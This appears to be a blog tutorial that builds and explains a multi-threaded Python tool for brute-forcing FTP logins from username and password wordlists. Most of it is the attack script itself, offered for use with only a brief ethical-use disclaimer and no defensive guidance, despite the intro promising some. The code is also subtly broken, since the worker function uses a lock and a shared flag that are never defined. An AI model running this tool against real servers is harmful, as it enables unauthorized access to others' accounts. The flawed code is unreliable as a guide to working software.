Brute-forcing is a fundamental concept in ethical hacking, often used to test the strength of authentication mechanisms. One common target for such testing is the FTP (File Transfer Protocol) server, which, if improperly secured, can be susceptible to credential-based attacks. In this blog post, we’ll creating a powerful FTP brute force tool using Python. This tool demonstrates how to systematically try combinations of usernames and passwords from wordlists to identify valid credentials.
This step-by-step guide will break down each part of the script, making it accessible to both beginners and experienced developers. You’ll learn how to leverage Python’s built-in libraries, implement multi-threading for speed, and handle errors gracefully. By the end, you’ll not only understand how to create an FTP brute force tool but also gain insight into securing systems against such attacks.
Table of Contents
What is FTP & How Does It Work?
FTP (File Transfer Protocol) is a standard network protocol used to transfer files between a client and a server over a network, such as the internet. It enables users to upload, download, and manage files on a remote server.
How it works:
- Connection Establishment: The client connects to the FTP server, typically on port 21, and establishes a communication session.
- Authentication: The client provides a username and password to access the server. Some servers allow anonymous access without credentials.
- Commands and Responses: The client sends commands (like USER, PASS, GET, or PUT), and the server responds with status codes and messages indicating success or failure.
- File Transfer: Once authenticated, the client can upload or download files. FTP uses two channels:
- Control Channel: For sending commands and receiving responses.
- Data Channel: For transferring file data.
FTP is simple and widely used but lacks encryption, making it vulnerable to interception if not secured with additional protocols like FTPS or SFTP.
Code Walkthrough for FTP Brute force tool
1. Importing Required Libraries
import socket
import threading
from queue import Queue

socket
: Thesocket
module allows us to create a network connection, making it essential for communication with the FTP server. In this script, we use it to establish a connection to the server, send commands, and receive responses.threading
: Thethreading
module is used to run multiple operations simultaneously. Brute-forcing can be slow if done sequentially, so threads help speed up the process by testing multiple passwords at the same time.Queue
: TheQueue
module provides a thread-safe way to manage tasks. We use it to store the list of passwords that need to be tested and distribute them among the threads.
2. Establishing FTP Connection
def connect_ftp(server, username, password):
try:
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp_socket.settimeout(5)
ftp_socket.connect((server, 21))
response = ftp_socket.recv(1024).decode()
print(f"[INFO] Server Response: {response.strip()}")
ftp_socket.send(f"USER {username}\r\n".encode())
user_response = ftp_socket.recv(1024).decode()
print(f"[INFO] USER Response: {user_response.strip()}")
if "331" in user_response:
ftp_socket.send(f"PASS {password}\r\n".encode())
pass_response = ftp_socket.recv(1024).decode()
print(f"[INFO] PASS Response: {pass_response.strip()}")
if "230" in pass_response:
print(f"[+] Success: {username}:{password}")
ftp_socket.close()
return True
ftp_socket.close()
print(f"[-] Failed: {username}:{password}")
return False
except socket.error as e:
print(f"[ERROR] Socket error: {e}")
return False

This function is the core of the brute force operation. It handles connecting to the FTP server and testing credentials. Let’s break it down:
- Socket Creation:
- The
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
line creates a new TCP socket. TCP is used because FTP is a TCP-based protocol. - The
settimeout(5)
method ensures that the connection attempt doesn’t hang indefinitely by setting a timeout of 5 seconds.
- The
- Connecting to the Server:
- The
ftp_socket.connect((server, 21))
line specifies the target server and port number (21, the standard port for FTP). - Once connected, the server sends a response, which we capture using
recv
and decode for readability.
- The
- Sending Commands:
USER
Command: Sends the username to the server. A successful response usually contains the code331
, indicating that the server is waiting for a password.PASS
Command: Sends the password. If the credentials are correct, the server responds with230
(successful login).
- Handling Responses:
- The function checks the server’s response after each command to determine if the login was successful.
- If valid credentials are found, it prints the success message and returns
True
. - If not, it prints a failure message and closes the socket.
- Error Handling:
- If there’s a network issue or the server becomes unresponsive, the
socket.error
exception is caught, and an error message is displayed.
- If there’s a network issue or the server becomes unresponsive, the
3. Worker Function for Multi-threading
def worker(server, username, password_list, queue):
while not queue.empty() and not valid_credentials_found:
password = queue.get()
with lock:
if valid_credentials_found:
queue.task_done()
break
if connect_ftp(server, username, password):
with lock:
valid_credentials_found = True
print(f"[+] Valid credentials found: {username}:{password}")
queue.task_done()
break
queue.task_done()

This function allows multiple threads to test passwords simultaneously. Here’s how it works:
- Retrieve Passwords from the Queue:
- The
queue.get()
method retrieves the next password from the queue. Since the queue is thread-safe, multiple threads can access it without conflicts.
- The
- Test Credentials:
- The
connect_ftp
function is called with the current password. If valid credentials are found, the thread prints the result and exits.
- The
- Mark Task as Done:
- After testing a password,
queue.task_done()
is called to indicate that the task is complete.
- After testing a password,
- Thread Safety:
- The loop continues until the queue is empty, ensuring that all passwords are tested.
4. Managing Threads
def brute_force_ftp_with_limited_threads(server, username, password_list):
queue = Queue()
for password in password_list:
queue.put(password)
threads = []
for _ in range(10): # Limit to 10 threads
thread = threading.Thread(target=worker, args=(server, username, password_list, queue))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()

This function manages the creation and execution of threads for efficient brute-forcing.
- Queue Setup:
- All passwords from the
password_list
are added to thequeue
. Each thread will pull tasks (passwords) from this queue.
- All passwords from the
- Thread Creation:
- A loop creates 10 threads (you can adjust this number based on your system’s capabilities).
- Each thread runs the
worker
function, which processes passwords from the queue.
- Thread Execution:
- Each thread is started using
thread.start()
, and the main program waits for them to finish usingthread.join()
.
- Each thread is started using
5. Loading Wordlists
def load_wordlist(file_path):
try:
with open(file_path, 'r') as file:
return file.read().splitlines()
except FileNotFoundError:
print(f"[-] Wordlist not found: {file_path}")
return []

This function reads a wordlist file and returns its contents as a list of lines.
- File Reading:
- The
open
function opens the file in read mode. - The
read().splitlines()
method splits the file content into a list of lines, where each line represents a potential username or password.
- The
- Error Handling:
- If the file doesn’t exist, a
FileNotFoundError
is caught, and an error message is printed. - An empty list is returned to prevent further issues.
- If the file doesn’t exist, a
6. Main Function
if __name__ == "__main__":
server = input("Enter the target FTP server: ")
username_file = input("Enter the username wordlist path: ")
password_file = input("Enter the password wordlist path: ")
username_list = load_wordlist(username_file)
password_list = load_wordlist(password_file)
if not username_list or not password_list:
print("[-] Wordlists are empty. Exiting...")
else:
for username in username_list:
brute_force_ftp_with_limited_threads(server, username, password_list)

This is the entry point of the script, where everything comes together.
- User Input:
- The script prompts the user to enter the target server and paths to the username and password wordlists.
- Load Wordlists:
- The
load_wordlist
function is used to retrieve usernames and passwords from the specified files.
- The
- Validation:
- If either wordlist is empty, an error message is displayed, and the script exits.
- Brute Forcing:
- For each username in the list, the
brute_force_ftp_with_limited_threads
function is called to test all passwords.
- For each username in the list, the
How It Works
- Preparation:
- Provide a valid FTP server and wordlists containing potential usernames and passwords.
- Execution:
- The script tries every combination of username and password from the wordlists.
- Output:
- If valid credentials are found, they are displayed. Otherwise, all attempts are logged as failures

Key Features
- Multi-threading:
- Speeds up the brute force process by testing multiple passwords concurrently.
- Error Handling:
- Gracefully handles socket errors and missing files.
- Queue System:
- Ensures smooth management of tasks in a multi-threaded environment.
- Ethical Use Only: This tool is designed for educational purposes. Use it responsibly and only on systems you own or have explicit permission to test.
- Performance: Increase or decrease the number of threads based on your system’s capabilities to avoid overloading the server or your machine.
By following this guide, you’ll have a clear understanding of how the tool works and how to customize it for your needs. Happy hacking!